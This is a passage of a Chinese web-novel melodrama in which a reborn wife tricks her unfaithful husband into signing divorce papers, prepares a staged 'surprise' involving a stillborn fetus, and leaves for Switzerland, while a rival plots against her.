宋南伊约了陆为谦,在一个网红的下午茶餐厅。
一杯香浓的牛奶啵啵,一杯为陆为谦准备的美式,外加几分造型新颖可爱的甜品。
陆为谦很守时。
看到宋南伊早到,还是出声抱歉,“不好意思,来晚了。”
“是我早到了。”宋南伊微笑着,请他入座。
陆为谦的目光温和,“找我……有什么重要的事情吗?”
“陆律师,在江城,我现在只有你一个律师朋友……”宋南伊稍稍有些为难,她也不确定,陆为谦这次,是否还会帮她,“……所以,我想请你帮个忙。”
“别这么客气,能帮上你的忙,是我的荣幸。”
宋南伊轻咬下唇,微微沉思,“陆律师,能否请你再帮我起草一份离婚协议书,就是签字后,一个月就能离掉的那种。”
她想,陆为谦懂她的想法,“这次,我不想要他的财产了。”
这次,他没有问她改变主意的缘由。
不管出于什么目的,他都会答应,“南伊,我会尽力帮你。”
也许,这是他最后一次对她有用。
但他不在乎。
他只要她幸福,看着她幸福就好。
不打扰。
……
几天后,宋南
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伊约了裴吟逛街。
宋南伊聊到了自己的计划。
裴吟觉得风险极高。
“霍时序虽然做人不性,但他又不是个傻子,文件也好,合同也罢,他怎么会不看一眼就签呢。”
霍时序是极为谨慎之人。
所有经手的,都是江淮过一遍眼,他再过一遍,确定没问题后,才会签署。
宋南伊清楚。
但她必需要铤而走险。
“我知道,这不容易,但我必需要这么做,否则……”她摸着自己的小腹,“……我没有多少时间可以用来浪费。”
裴吟心疼宋南伊。
她必需帮着自己的最好的朋友,逃离困境。
“那我们就设个局,然后呢……”她附在宋南伊的耳边,轻声说,“……这几天,你也别跟他别扭,让他放松一下警惕。”
“嗯。”
两人没怎么逛,只是坐在那儿,聊着计划的可行性。
最后离开的时候。
宋南伊去购买了一枚男士的胸针。
白金的材质,几何的图形,点缀了珐琅,简洁有力,经典稳重,优雅又有力量感。
她知道,霍时序一定是喜欢的。
裴吟心疼宋南伊的钱,旋即又明白,要钓鱼,不下重饵可怎么行呢。
“希望,他能顺利咬饵。”
……
宋南伊回到家后,如往常一样。
早早的洗漱上床,关灯睡觉。
心里有事,她翻来覆去地睡不着。
起身,披了件睡衣,坐在阳台上,望向夜空。
又下雨了,淅淅沥沥的,敲打着抽出新芽的树干,噼里啪啦。
就像她的心,总是没有干的时候。
差不多午夜。
霍时序的车子回来了。
如往常一样。
他并没有马上下车,大概一颗烟的功夫,他才撑着伞走了下来。
他抬头看向二楼的窗户。
意外看到了宋南伊坐在阳台上的身影。
他不确定,她是不是在等他。
步子却不由得加快了许多。
他已经很久,没有见过阳台上的夜灯亮了。
今晚……有些特别。
他显然有些匆忙,鞋子都没有换,就推开了卧室的门,“南伊。”
宋南伊回眸看向他。
灯光不算明亮,他看不清她的眼睛。
但是,他真的很满足,“怎么还没有睡?”
第80章 缠绵悱恻的吻她
“等你。”她淡淡的,恬静温婉。
“今天应酬有点多。”他抱歉地走到她身边,将她拥进了怀里,“不过我没有喝酒,烟也抽得很少。”
“霍时序,你生日快到了吧?”她的小手轻轻地抚在他俊美的侧脸上,呼吸缠绕,“你想要什么礼物?”
他最好的礼物,就是她能够重新爱他。
可惜的是,他们之间就像这样,抱在一起的亲密,都少得可怜。
爱,是要有亲密行为的。
“南伊,我只想要你,要你永远的留在我身边。”
他将她摁在怀里,含住她的唇,缠绵悱恻地吻她。
她没有拒绝,小手搭在他的肩上,算是有所回应。
他像被鼓励到了一般,握着她的腰,不容她有半分的退缩。
“南伊,我们好好的,好吗?我们白头偕老,我们生儿育女,我们在一起一辈子,嗯?”
女人笑了。
她拼尽全力的爱情啊,让她遍体鳞伤。
眼底全是泪光。
一辈子?
不,他们早在上一世就结束了。
原本,她是有希望在这一世,有灵魂地活着的。
可她依旧活成了行尸走肉。
“霍时序,我们还有以后吗?”
“怎么会没有呢。”他捧着她的小脸,像万千珍贵的珠宝般看着,“我们还会有好多好多年,还像从前一样,我负责赚钱,你负责貌美如花。”
本来他就是舔狗。
他愿意舔宋南伊一辈子。
她笑着。
这个答案,早已经不复存在。
一晚的亲热。
翌日一早,男人精神焕发。
她给他系领带,他就浅浅地吻她,好像又回到从前,回到了他们最爱的那段时光。
“别闹。”宋南伊拿出昨天买的胸针,给他别的胸口显眼的位置上,“昨天和裴吟去逛街,看到这枚胸针很适合你,就买下了。”
“生日礼物吗?”他笑着问。
宋南伊:“不算是,生日礼物,我有惊喜给你,你可以期待一下。”
他不在意她送什么。
无论送什么,他都会珍重。
“不用特别送什么,多给自己买东西,我喜欢我老婆买买买。”他捧着她的小脸,又吻了好一会儿,才不舍地放开,“今天周末,有什么安排?”
“想跟裴吟去再去看看商铺。”她轻轻地替他整理着衣襟,“我们珠宝品牌,想要做一个旗舰店,我看过几家商铺了,租吧,不太合适,要是买的话……说实话,我手里的钱也不充足。”
她像是犯了愁。
眉心紧紧地拧起。
“在什么位置上?”他问。
宋南伊想了想,“在广场大道那边的商业区。”
“霍氏在那边有几套沿街商铺,你去看看,合适的话,拿过去用。”
宋南伊摇头,“霍氏的商铺,位置上来讲,确实挺合适的,但这商铺属于集团,又不属于你,也不属于我,签约方式,和租金又……,我再找找吧。”
“我让江淮起草个合同,把你看好的商铺,直接过户给你。”
他为她做什么,都甘之如饴。
只要她开心地呆在他身边。
宋南伊笑笑,“这样会不会不太好啊。”
“跟自己老公还客气上了。”他握着她的腰,在她的脖子上吻着,“我让江淮联系你,到时,你把合同好好看看,再找我把字签了,就行。”
“谢谢老公。”宋南伊踮起脚尖,在霍时序的脸上亲了一下。
久违的感觉,涌上心头。
他抱得她越来越紧,几乎要揉进骨血,“南伊,我们这样真好,我真的越来越爱你。”
“好了,别肉麻了。”她微笑着推开他,“今天不是有一个重要的客户要见吗?别迟到了,你代表的可是霍氏的形象。”
“那我早点回家。”
“嗯。”
……
下午的时候。
宋南伊收到了江淮的电话。
二人约了家咖啡厅见面。
“太太,这几份是商铺的转让合同,霍总让我尽快给您送过来,您看一眼。”江淮将三份合同,全部放到了宋南伊的面前,“您挑一个吧。”
这几家临街的商铺,铺面很大,价值更是以亿计算。
霍时序确实大方。
可惜的是,他的大方,从来不是针对她一个人。
比如说苏语安。
比如说那个女明星。
她随便挑了一家,“就这个吧。”
“好的,太太,那您签字吧。”江淮收起其它两份,从包里拿了笔给她。
宋南伊一边签字,一边像不是经意地问他,“江特助,你们是不是,又把苏语安藏起来了?”
江淮神色一顿。
**该如何回答。
面色为难。
宋南伊看他不说话,明白二三,“怕我伤害
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到她?”
“太太您说笑了,是霍总他,怕苏语安伤害到您,所以才将她关了起来。”
宋南伊耸眉。
还真是藏了起来。
一边说着好爱她,一边又将苏语安金屋藏娇。
他还真的是哪一个都舍不得。
宋南伊签完字,在江淮要拿走的时候,她早一步收了起来,“江特助,我亲自拿去让你们霍总签字吧,我还有一些话要同他说。”
“好的太太。”
江淮总觉得宋南伊有些不对劲。
但又说不上来。
江淮离开后。
宋南伊一个人安静地坐在咖啡厅里,望向窗外。
周遭的喧嚣似乎都与她无关。
窗外被风卷起的小树叶,将咖啡厅里的爵士乐衬得温柔。
她给陆为谦打了个电话,“陆律师,我的离婚协议书,起草好了吗?”
“差不多了,还有一些细节方面……”陆为谦的声音沉稳而专业,“……很急吗?”
“方便的话,我想现在去一趟律所……”她确实挺急的,“……希望能尽快,拿到这份协议书。”
“当然。”陆为谦简短回应,语气中透出温柔与理解,“我在律所等你。”
……
春天的风,裹胁着夏天的味道,扑面而来。
宋南伊开着车,前往陆为谦的律所。
陆为谦足够专业。
离婚协议的内容,完全都是按照宋南伊的要求来起草的。
只是有些纳闷的是,“我还以为,你不会再跟他提离婚了。”
宋南伊轻垂眼帘,眸光黯淡。
“我一直没有放弃离婚这件事情。”
她略带歉意地微微一笑,“陆律师,真不好意思,又麻烦你一次。”
“你不必如此客气,我们是朋友不是吗?”陆为谦的声音有几分温暖。
宋南伊垂眸淡笑,纠正道,“岂止是朋友,你还是我救命恩人。”
陆为谦救宋南伊,于他而言,更像是本能驱使,与生俱来的。
他就是要保护她,不惜一切代价。
然而,这份情感,他却只能深埋进心里。
“别这样说。”
宋南伊收好离婚协议书,便不准备再过多打扰,“陆律师,那我就先回去了。”
“有需要我的地方,随时来找我。”陆为谦微微颔首,亲自将她送到门口,“南伊,我们是朋友,我永远会站在你的身后。”
第81章 签了离婚协议
这话说得,宋南伊有些感动。
她礼貌温和地点头,“好。”
陆为谦一直目送她驱车离开,这才准备往办公室走。
江姝言的突然出现,把他吓了一跳,“你什么时候来的?”
“就在你对着霍太太的背影,深情克制的时候。”江姝言拎了一个保鲜盒,“呶,这是你准岳母,让我来给你送的爱心水果。”
陆为谦没理人。
径直往里走去。
江姝言往宋南伊消失的方向又看了一眼,“陆为谦,你说你,也够没种的,敢爱还不敢让人知道,你这么窝囊,是怎么当上律师的?”
“你别胡说八道。”男人推开自己办公室的门,走了进去,“江姝言,你现在是我的未婚妻,我们要维持表面上的甜蜜与恩爱,这是最起码的职业道德。”
“我当然有职业道德啊,不然的话,也不会来给你送爱心水果。”她就是挺八卦的,想知道,陆为谦这样隐忍自己的感情,心里到底什么滋味,“为谦哥,我可以做无话不谈的朋友,你跟我讲讲,你有多喜欢这个宋南伊。”
陆为谦轻描淡写地扫了她一眼。
江姝言好奇地瞪大眼睛,“你们牵过手吗?一起看没看过电影?你是从什么时候,喜欢她的?陆家现在被霍家压着打,是不是因为你对霍太太无法掩饰的爱慕呢?”
“好奇害死猫,没什么事情就回去吧,我很忙。”
江姝言不是死缠烂打的性格。
既然陆为谦不喜欢说,那她就再找机会。
“真小气,我又不会告诉别人,那行吧,那我就先回去了,记得吃水果哦,很甜的。”
……
宋南伊去见霍时序的时候。
差不多到了下班的时间。
她精心挑选了两张爱情电影的票。
重生后,她和霍时序并没有约过会。
这次,赶鸭子上架。
“今晚有空吗?”她声音温柔,将那两张电影票,递了过去,“我挺欣赏这位导演的风格的。”
他微笑着,将电影票接了过去,“是为了感谢我,送你一个商铺?”
“只是觉得……我们两人,似乎已经很久没有像这样,单独的约会过了。”
她尽量地让自己的语气,透出真诚。
他望住她的眼睛。
与之纠缠。
他并不介意,她的目的是什么。
但也有一丝的感慨。
“确实,这段时间以来,我们的生活过得凌乱又糟心。”说着,他自然地拿起外套,伸出手,轻轻握住她的小手,“今天晚上,我们两个就好好地约个会。”
宋南伊甜腻笑着。
鱼,上钩了。
……
电影平淡无奇。
影院的观众稀疏,氛围冷清。
表面上,宋南伊全神贯注看电影。
心底却暗暗盘算着,怎样才能不露痕迹地,拿出那份转让合同,再让霍时序在无意识间,连离婚协议也起签了。
她开始围绕着电影的内容,天马行空地聊,最终绕到了商铺上。
“今天,江特助拿了三份转让书,让我挑,我就挑了个最大的,你没意见吧?”
他轻轻握住她纤细的手指,送至唇边,吻了吻,“只要你喜欢就好,我没意见。”
“哦,对了,这合同在我这儿,今天下午是想着让你签字来着,给忘记了……”宋南伊从包里拿出转让合同,“要不,你现在签一下?”
“一会儿看完电影,我再给你签。”他温柔地笑了,目光仍紧紧锁定在电影银幕上。
她轻轻依偎在他的肩头,声音落寞,“你是不是后悔了?如果你后悔将商铺转让给我,你大可以将合同拿回去。”
她不高兴了。
将合同塞进了霍时序的手里。
他并非这个意思,只是觉得这里面很黑,不太方便。
“好,我现在就签,别生气。”
宋南伊将笔交给他,还嘟囔了句,“我看你啊,就是有点反悔了。”
“哪有,我是那么小气的人吗?我人都是你的,一个商铺而已。”他将所以需要签字的地方,都签上了自己的名字。
字迹流畅遒劲有力。
这其中除了离婚协议书,还有一份离婚委托书。
宋南伊心跳如擂。
她仔细确认过后,便将霍时序签好字的所有合同及文件,小心珍重的,收进了自己的包里。
一个月。
她只需要等一个月。
三十天,她就可以拿到象征解脱的离婚证。
天在慢慢地放晴。
寡淡无味的电影,也平添了几分引人入胜的魅力。
……
挑了个工作日。
宋南伊将离婚协议书和委托书,全部提交到了民政局。
她得到了确切的回复。
三十天后,她将拿到属于她的离婚证。
宋南伊的
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心情不错。
她约了裴吟去吃下午茶。
顺便又给自己购置了几款新到货的包包。
“这个送你。”宋南伊将一款紫色的爱玛仕包,交给裴吟,“你不是一直想要一款紫色的吗?我割爱了。”
“乖乖,这上百万的包,说送就送啊?”裴吟笑着接过来,“贱狗的卡,是好刷。”
“他喜欢我刷他的卡买东西,我就一次买个够。”
离婚什么也拿不走。
余下的钱,他也是会去养别的女人,自然是能花多少,就花多少。
办公室里的男人。
不停地收到刷卡消费的信息,默默地又将卡提升了额度。
最近。
他和宋南伊的关系,有在慢慢变好。
他很欣喜这样的改变。
人都是感情动物,她怎么会感受不到他的爱呢。
她是爱他的。
他坚信。
傍晚回到家的时候。
宋南伊正在厨房里,和路姐一起做晚餐。
她系着一条粉色,卡通图案的围裙,看起来笨手笨脚的,却可爱得噬人心骨。
刚结婚那会儿。
他会为她做饭,熬汤,她像只粘人的小猫,伏在他的背上,搂着他的脖子,一本正经地瞎指挥。
“霍时序,这汤里要打三颗鸡蛋。”
“这个我要酸辣味的,你都没有放醋。”
“时序啊时序,红烧肉要多放糖,你傻不傻啊。”
“我要吃葱油饼,你现给我烙。”
他嘻嘻哈哈的,满足着她各种奇奇怪怪的要求。
仿佛就在昨天。
仿佛又近在眼前。
那时的他们,真的好幸福。
路姐不经意回眸,恰好捕捉到霍时序,正凝视着厨房的方向。
低声跟宋南伊说,“太太,先生回来了。”
宋南伊洗了把手。
平静淡然的,转身走了过去,“你回来了。”
她温柔娇俏,眼尾含着笑意。
步至咖啡机旁,动作娴熟的为他,冲了一杯浓郁的黑咖啡,
“尝尝这次的豆子,味道如何?”
霍时序未急于接过咖啡,而是先将她揽入怀中,声音低沉深情,“只要是你给的,哪怕是**,我也愿意喝。”
霍时序热衷于说各种情话。
这些泛起涟漪的甜言蜜语,令宋南伊反感。
挺恶心的。
没爱了,就会厌恶,一点都不假。
第82章 缠住他
“先喝吧。”她将咖啡递到他手里,顺便说了一些关于商铺的事情,“那间商铺,我已经让设计师在设计了,快的话,一个月的时间,就可以装修,到时,你也去看看。”
“商铺给你了,你自己做主就好。”他端着咖啡,注意力仍在女人绝美的侧脸上。
宋南伊淡淡笑笑,“好。”
他想要抱抱她。
刚放下咖啡杯,手机就响了起来。
是江淮打来的,“霍总,不好了,苏语安在公寓里自杀了。”
“死了吗?”他眉心紧拧。
“割腕,正在抢救,能不能救活,还不好说。”
“知道了。”
挂断手机,他抱歉的,不知道该如何向宋南伊解释,他要马上离开,去趟医院这件事情。
为难之际。
宋南伊淡笑着开口,“苏语安出事了?”
“她自杀了,在医院里抢救,我……去看看她。”他艰难地说。
“你还是那么在乎她?”
还是如此的放不下。
在感情上优柔寡断,是他的风格。
“等我日后,好好跟你解释。”他拿起刚脱掉的外套,穿好,“不用等我吃饭,你乖乖自己吃好睡觉,别等我。”
她没有阻止。
失望又讥诮的,看着他匆忙地开车离开。
路姐实在是想不通。
先生为什么还对外面那个女人这么紧张。
明知道,这样,会伤太太的心,为什么还要去做呢?
这夫妻感情,什么时候才能够升温。
“太太,饭菜好了,您先用餐吧。”
“路姐,我也没什么胃口,一会儿给我温杯牛奶送上来。”
“是。”
……
医院里。
江淮独自守在急救室外。
看到霍时序过来,忙迎了上去,“霍总,人还没有脱离危险。”
“不是让人看着她吗?怎么自杀的?还割腕?哪来的刀片?”霍时序对苏语安,渐渐地失去了耐性,“到底发生了什么?”
“我听保姆孙姐说,她今天闹了一天了,说要见你,孙姐以为她跟平时一样,疯一阵,颠一阵的,也就没理,没想到,她……”
“有病。”
霍时序心绪难宁,焦躁,无处安放。
除着急救室的灯熄灭,一张担架床,推了出来。
人是被从死神手中夺回来了。
那张脸苍白无色,透着凄清。
虚弱得像一缕即将消散的轻烟。
跟鬼魂一样。
“霍时序……”病床上的女人伸着手,嘴唇惨淡如空气,“……我,我要,我要跟你……”
“苏语安,你难道不明白,你对霍总而言意味着什么?你这是在做什么?”
江淮厉声,透出不满与不解。
这个女人太不识抬举。
令人厌恶。
“我要跟你……谈个交易。”苏语安挣扎着,从病床上坐起来,有气无力地靠在床头上,死气沉沉地望向霍时序,“我愿意用生命,作为交换条件。”
“你有什么资格跟霍总谈条件?”江淮听得来气,真拿自己当个人物了,“苏语安,霍总从未亏待过你,你看看你都做了什么?杀人,放火……现在还谈上条件了?”
“我,我知道,我,我没有资格,但这个世上,只有我能救他母亲的命,不是吗?”
就因为这样。
霍时序才一次次的,让她活了下来。
他倒是要听听,她想谈什么交易,“你说吧,想谈什么?”
苏语安咳嗽了两口。
深喘息着说,“你母亲需要我的血,但她更需要我体内可以产生抗体的骨髓,你之所以,一直养着我,不过想为了她,争取更高的治愈率,我愿意将的我的骨髓全部抽光给她,就算你几年内,都找不到更好的治愈办法,她也可以平安的活着。”
抽光骨髓。
就意味着,苏语安会失去生命。
以前,他也不是没想过,要抽她的骨髓来救治母亲。
但量,远远不够。
只能暂时靠血液里的抗体,维持生命。
更远里说,他不想平白无故的,害一条人命。
如今,苏语安决绝,想用自己的命来交换。
下这么重的筹码,她到底想交换什么?
“用自己的命来换什么?”
“我要用我的命,换宋南伊的命。”
她咬紧牙关,恨意与不甘在眼底,渐渐变得赤红。
苏语安以为自己扼住了,霍时序救母心切的软肋。
这场交易,他无从拒绝。
“这买卖,你不亏,那可是你的母亲,没有她就没有你,老婆算什么,不过是感情一场,人死不能复生,但感情可以另寻寄托,不是吗?”
霍时序笑了。
他还真是小瞧了这个年轻的女人。
有这份狠劲,难得一见。
“你想让我杀了宋南伊?”
“杀了她,你母亲就可以活下去,难道……”苏语安讥讽地扬起唇角,“……在你的心里,你的母亲还没有一个女人重要吗?”
“如果我不肯呢?”他想听听,她还能用什么来要挟。
苏语安虚弱地笑了,“如果你不肯,我现在就可以结束我的生命,到时,死可不止是宋南伊,还是生你的母亲。”
霍时序轻呵。
冷峻地盯着她的眼睛,与之对视。
火,熊熊燃烧。
……
霍时序不在家。
宋南伊感觉空气都变得轻松。
她趴在床上,倒数着日历上的日子。
她倒是希望,苏语安缠住他。
这样一来,她便有更多的时间准备,自己离开后的事情。
前几天。
她已经送父亲离开了江城。
公司里的一切事宜,交给了职业经理人。
自己的珠宝工作室,她暂时交给了邓雪打理,等她稳定下来,会把总部搬到瑞士。
她不能丢了自己的工作。
她还要生活。
她简单地收拾了行李。
其实也没什么可带走的,到了一个新的地方,就会有新的生活。
过去的,没什么值得留恋。
少拿一件是一件。
……
霍时序几天都没有回家。
新闻又在铺天盖地的报道着,他和苏语安的事情。
狗仔的镜头中,记录着。
在医院院子里,他用轮椅推着她,看樱花。
陪她一起喂流浪的小猫。
每一侦,都透着无法言说的情愫。
挺般配的。
要不说,婊子配狗,天长地久。
有道理。
婚外情的新闻,对现在的宋南伊来讲,也掀不起什么波澜。
她无暇关注这些。
抽了个时间,她去了一趟江城最有名的打卡地,叫粉红幻想。
这里是情侣们最常光顾的地方。
这里有一颗许愿树。
最为灵验,大家都慕名而来。
传说,在许愿树下,许下恩爱的心愿后,两个人就会一辈子分不开。
前一世。
她和霍时序也在这儿许下过,一生一世永不分离的心愿。
还买了祈福丝带,和同心锁。
上面写满了他俩的名字和爱的誓言。
“南伊,我们这辈子,下辈子,下下辈子,我们要永远在一起,永远不分开。”
“南伊,你挂得高一点,这样我们的生活,就会节节高。”
()
第83章 死胎
站在许愿树下。
宋南伊仿佛看到了,上世的宋南伊和霍时序。
她骑在他的肩头,被他举得高高的,认真地系着写满祝福语的祝福红丝带,那死结打了一个又一个,生怕松开。
那时的爱,是真爱。
无论现在的他们是怎样。
都无法回避,真心相爱过的事实。
眼眶有点湿。
可能是替自己不值吧。
现在的她,只想与他生生世世,不再相见。
写着二人名字的同心锁和写满祝福的红丝带,挂得太高了。
宋南伊花了五十块钱,让一个年轻的小伙子,爬高给她拿了下来。
将红丝带剪碎,将同心锁也剪成了两半。
小伙子不明白,挠着头发问,“小姐姐,你是跟男朋友分手了吗?”
“他移情别恋了。”宋南伊将这些垃圾,扔进了池塘里,“他不配拥有这些祝福。”
“那倒也是。”
所有的誓言被粉碎。
宋南伊如释重负。
开着车,她奔赴了下一个地点。
她将霍时序送她的珠宝首饰,全部捐给了慈善组织。
将他送的衣服,鞋子,写的每一封情书,全部打包,送进了焚烧炉中,付之一炬。
该留的一件不留。
不该留的,彻底从她的世界消失。
宋南伊一键清除了,所有关于她和他的回忆。
没有想象的那么难过和不舍。
只有对自己青春的抱歉。
深呼吸。
扭头。
不远处,她看到了一张阴佞憔悴的脸。
是苏语安。
她怎么会在这儿?
跟踪?
宋南伊眉心皱起防备。
她瘦了许多。
眼眶泛黑,唇也干涸起皮。
说是个人,比鬼还难看。
宋南伊静静地站在那里,目光落在了,面前喘息不已的女人身上。
她声音细若,夹杂着断断续续的咳嗽,“宋南伊,我终于见到你了。我告诉你,你活到头了,霍时序马上就会让你去死,马上……”
宋南伊的眉头蹙起,这种疯话,很难让人相信。
“你找到这儿,就是想跟我说这个?”
宋南伊眉眼淡淡,平静清冷。
“他不爱你,宋南伊!他为了我,可以牺牲任何人,任何事!”苏语安狠狠地瞪着宋南伊,每说一句话都伴随着剧烈的喘息,“你害死了景晨,他答应过我,会帮我报仇的。你……你逃不掉的!”
宋南伊笑了。
愈加嘲讽。
“那就来吧。”
宋南伊的淡然平静,引得苏语安近乎疯狂,声嘶力竭。
“你不要以为,我在跟你开玩笑,霍时序生日会跟我去挪威过,他承诺我,会一生一世的对我好,你只不过是个摆设,不,以后摆设都不是了,你会死,会去地下向景晨赔罪……”
她失控的吼叫着。
身体摇摇欲坠。
这时。
江淮跑了过来,猛地抓住了苏语安的胳膊,“你乱跑什么?”
看到宋南伊。
他似乎意识到了什么,忙解释,“是不是,她又跟您胡说八道了?您别信她,她现在神智不清,状态恍惚,您就当她是说疯话。”
宋南伊无所谓。
真也好,假也罢。
都与她无关了。
江淮将苏语安带到车上,很快离开。
宋南伊望向远处的风景。
出奇的平静。
她正一点一滴地,抹去那些与自己无关紧要的过往痕迹。
包括霍时序。
包括苏语安。
这场仪式是无声的。
她以为会最后一次为此难过。
并没有。
她竟然有一些期待,期待着往后余生,可以离开这些魑魅魍魉。
离婚冷静期的最后一天。
宋南伊去了趟医院。
她花了一些钱,买了一位未婚女士流产下来的胎儿。
三个月大。
隐约成型。
血淋淋地装在一个医用袋子里。
她将这个装着死胎的袋子,重新密封,与自己的怀孕单子放在一进。
现在只差最后一步了。
那就是去一趟民政局。
……
霍时序生日的前一天。
一直没有露面的男人,带着一身的疲惫回了家。
他什么也没有说。
只是将宋南伊紧紧地抱住,无声地诉说着,连日来的思念。
“抱歉,最近有些忙。”
“没关系,你忙你的。”她宽容大度。
霍时序对宋南伊的愧疚,越发的深重。
他想着从挪威回来后,好好地陪着她,陪她四处走走,散散心,他要好好地经营与她的爱情。
这段婚姻,与他而言,很重要。
“南伊,我明天要去挪威,大概十天左右的时间,你等我回来,我有很多的话要跟你说。”
他动情地望着她。
眼睛里是连日来劳累的红血丝。
她温柔地点头,有些遗憾地说,“那没法同你过生日了。”
“回来咱们再补一个,行吗?”
“嗯。”她微笑着答应,“我把你让给她。”
霍时序不解。
他刚要动唇解释,宋南伊轻轻地捂住了他的嘴,“霍时序,我希望你能过一个很快乐,很快乐的生日,也希望以后的每一年生日这天,你都有同样的感受。”
“我希望,以后每一年的生日,都由你陪着我,就这样一辈子,下辈子,下下辈子,好吗?”
他真情流露,抓住她的小手,搂上脖子,低头与她接吻。
这个吻,莫名有些伤感。
宋南伊缓缓地搂紧了他,或许,她也有不舍吧。
不是对这个人。
是对过去,曾经全力以赴的爱情。
“霍时序,如果下辈子,你有别的机会,选择更适合你的伴侣,请你一定不要选择我,好吗?”
“为什么?”
他那么爱她。
他那么需要她。
不管哪辈子,他跟她在一起的心,是坚定的。
“南伊,我无法承受,没有你在我的身边。”
她笑笑。
将这些情话,丢进情绪垃圾筒里。
“明天,什么时候走?”
“下午的飞机,这次我坐专机过去,争取早一点回来。”他很舍不得离开,紧紧地抱着她,温柔得不像话,“你一个人在家里好好的,好吗?”
“明天,我去送你。”她笑笑说。
很久以来。
她极少这么主动。
霍时序理解为,这是宋南伊对他的眷恋。
他抬手摁住她的后脑,由浅入深地吻她。
这个吻,匝长。
由客厅吻到了卧室,由沙发吻到了大床上。
他终究是无法控制自己的欲念,来得很猛,很凶,很霸道。
他像是要将她揉进身体起,一起带走般的,占有她。
无休无止。
两人缠绵了一晚。
他们相拥而眠,直至日近晌午。
“快起吧,别晚了。”宋南伊小声提醒。
霍时序在床上慵懒地伸了个腰。
视线掠过梳妆台,落到了她精致的小脸上。
有一种不舍,有一种复杂。
真实中又带着虚幻。
今天的她,美好得格外不真实。
下次,下次他一定带她去挪威。
他起身,绕到她的身后,在她的小脸上亲了一下。
“我还真有点不舍得走了。”
“那就留下来。”她微笑着说,但这字里行间,又没有期待,像开了个玩笑。
男人轻轻地抱住了她,“你一定要等我回来。”
()
第84章 又不是去偷情
她依然笑笑。
没有给他答案。
江淮开车来接二人,一同赶往机场。
因为是专机,路上并不急。
他紧紧地握着她的小手,似乎要失去般地握着。
“不知道为什么,我这心,跳得很厉害。”他有一种说不上来的不安。
宋南伊轻轻地拍了拍他的手背,“又不是去偷情,不至于。”
“我去是有正经事,回来同你讲。”
“好啊。”
时间似乎过得格外快。
机场,他不舍地与她拥抱。
宋南伊将一个包装精美的纸盒,递给了他,“送你的生日礼物,上飞机再打开看。”
“什么?”他挺期待的。
女人温柔的,替他整理了衣角,“霍时序,要照顾好自己。”
“你也是。”
他最后拥抱了她,承诺,“正好挪威那边有珠宝展,我给你挑几款带回来,到时希望你喜欢。”
“嗯。”她点头,“快走吧,早去早回。”
霍时序依依不舍。
最终转身,和江淮一起,走向了专机。
看着飞机,飞上蓝天的那一刻,宋南伊心口憋闷的那口气,这才慢慢舒展。
叫了辆出租车,将她送去了老宅。
虽然霍家人,对她也就那么回事。
但霍正诚从来没有偏袒过霍时序,就凭这一点,她就应该去做个告别。
霍明达没在。
孙爱芸没正眼瞧宋南伊。
“你还知道来啊?不说是要早问晚安的,这怎么说,一周也得给爷爷问个好吧?真不知道,宋家到底是怎么教育孩子的。”
孙爱芸不满。
霍正诚脸色不好看的,睨了她一眼,“你这个当婆婆的,能不能少说两句?我不是太上皇,还得请安问好的,行了,你出去吧,我跟南伊聊几句。”
孙爱芸被骂,心里不痛快。
离开时,冲着宋南伊又道了句,“孩子孩子不生,男人男人看不住,礼数礼数也没有,真不知道,一天天的在忙什么。”
“行了,快走吧。”
霍正诚不喜欢听。
亲自给宋南伊斟了上好的白茶。
茶香四溢,安神。
宋南伊面色淡淡。
她安静地坐着,跟霍正诚聊些一些闲事。
“今天是时序的生日,你们有什么安排?”老爷子问。
宋南伊端起茶水,轻啜,“爷爷,他去挪威了。”
“又去挪威了?”
总归是亲生的母亲,放不下的。
老爷子叹气,“怎么今天这个日子过去?”
“兴许有什么重要的事情吧。”宋南伊往下茶杯,乖顺地说,“爷爷,这几天我也得去出趟差,您要好好保重身体。”
“我的身体还好,不用担心,只是这深宅大院,天天冷冷清清的……”
他如此渴望,霍家可以添丁进口。
如今可望,而不可及。
“……爷爷不是给你压力,你们年轻,虽然工作是第一位,也不要透支身体,为将来做打算。”他这把年轻还没抱上重孙子,跟霍时序有直接的关系,“等时序从挪威回来,你们好好的聊聊。”
“知道了,爷爷。”
霍正诚又关怀了宋知令的身体。
以及,这段时间宋氏的发展。
宋南伊都一一做了回答。
茶水渐淡,宋南伊也准备离开,“爷爷,那我就先回去了,您保重。”
“不用惦念着我。”
“是。”
陈伯将宋南伊送出老宅。
若有所思地摇了摇头,今天的孙少奶奶,好像有一些不一样。
……
宋南伊拖着行李。
上了裴吟的车子。
“真的决定离开了?”她是不舍的。
没想到,这一天,来得如此之快。
宋南伊其实并不是,只有离开江城这一条路选。
但这个城市带给她的悲伤太多了。
她只能这样。
“跟我爸在瑞士住段时间吧,等他什么时候想回来了,我们再一起回来。”
“散散心也是好的,你照顾好叔叔,也照顾好自己。”裴吟发动汽车,准备将她送到机场,“等我有时间了,就去看你。”
“好啊,到时跟你一起去爬山。”
宋南伊没有离别的悲伤,但是对裴吟除外。
她希望裴吟能幸福。
但千万不要学她,恋爱脑一上头,死得魂飞魄散的。
宋南伊笑了。
裴吟怎么会是恋爱脑,她清醒得很。
“笑什么?”裴吟被宋南伊笑得莫名其妙。
“觉得你挺美的。”
裴吟翻白眼,“屁话。”
宋南伊登上了飞往瑞士的飞机。
这一走,最快也得弟弟和母亲的忌日,才能再回江城。
……
霍时序的专机上。
他正忙着跟挪威那边的医疗团队通话。
焦头烂额。
江淮倒了杯咖啡给他,“霍总,那边情况怎么样啊?”
“正准备提取苏语安的骨髓,但她反抗得厉害,实在不行,就注射药物,让她昏迷,如果这次研究成功,那治疗的药物,很快就出来了。”
这是一个极其令人振奋的消息。
不枉费他一年多次往返挪威。
母亲有救了,他和宋南伊也有救了。
霍时序接过咖啡。
压闷着他的大石头,这次终于要挪开了。
“哦,对了,南伊说,送了我生日礼物,你把那个盒子拿过来。”
听到霍时序吩咐。
江淮转身去将宋南伊礼物,拿了过来。
一个包装很精美的盒子。
蓝色的包装,蓝色的缎带系的蝴蝶结。
处处透着用心。
上面有一张手写的卡片。
“生日快乐,surprise。”
他看得心神荡漾。
并没有急着打开这个漂亮的包装,“江淮,你猜,她会送我什么?”
“这……我可猜不到。”江淮挠着头发,“您猜呢?会是什么?”
霍时序猜,可能是领带,腰带,或是钢笔又或是,什么定情信物。
想着,马上看到的惊喜。
他还有点激动。
“她特意叮嘱我,让我上飞机再看,一定是一个,我想不到的惊喜。”
这点江淮认同,“太太,有心了。”
霍时序打开了第一道包装。
一个白色的信封,跃然眼前。
他有些意外。
她给他写信了吗?
不会是情书吧?
他唇角不可抑制地上扬了起来,将信封拆开。
一张检查单。
他眉心微微拧起,两张B超黑白图片。
